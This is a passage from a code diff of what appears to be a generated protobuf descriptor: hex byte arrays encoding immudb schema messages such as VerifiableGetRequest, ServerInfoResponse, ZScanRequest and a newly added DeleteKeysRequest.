0x61, 0x62, 0x6c, - 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, - 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, - 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xc8, 0x01, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x28, - 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0c, - 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, - 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, - 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, - 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, - 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, - 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, - 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, - 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, - 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, - 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, - 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, - 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, - 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, - 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, - 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, - 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, - 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, - 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, - 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, - 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, - 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, - 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, - 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, - 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, + 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, + 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, + 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, + 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, + 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, + 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x22, 0xc8, 0x01, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, + 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, + 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x0c, 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, + 0x2c, 0x0a, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, + 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, + 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, + 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, + 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, + 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, + 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, + 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 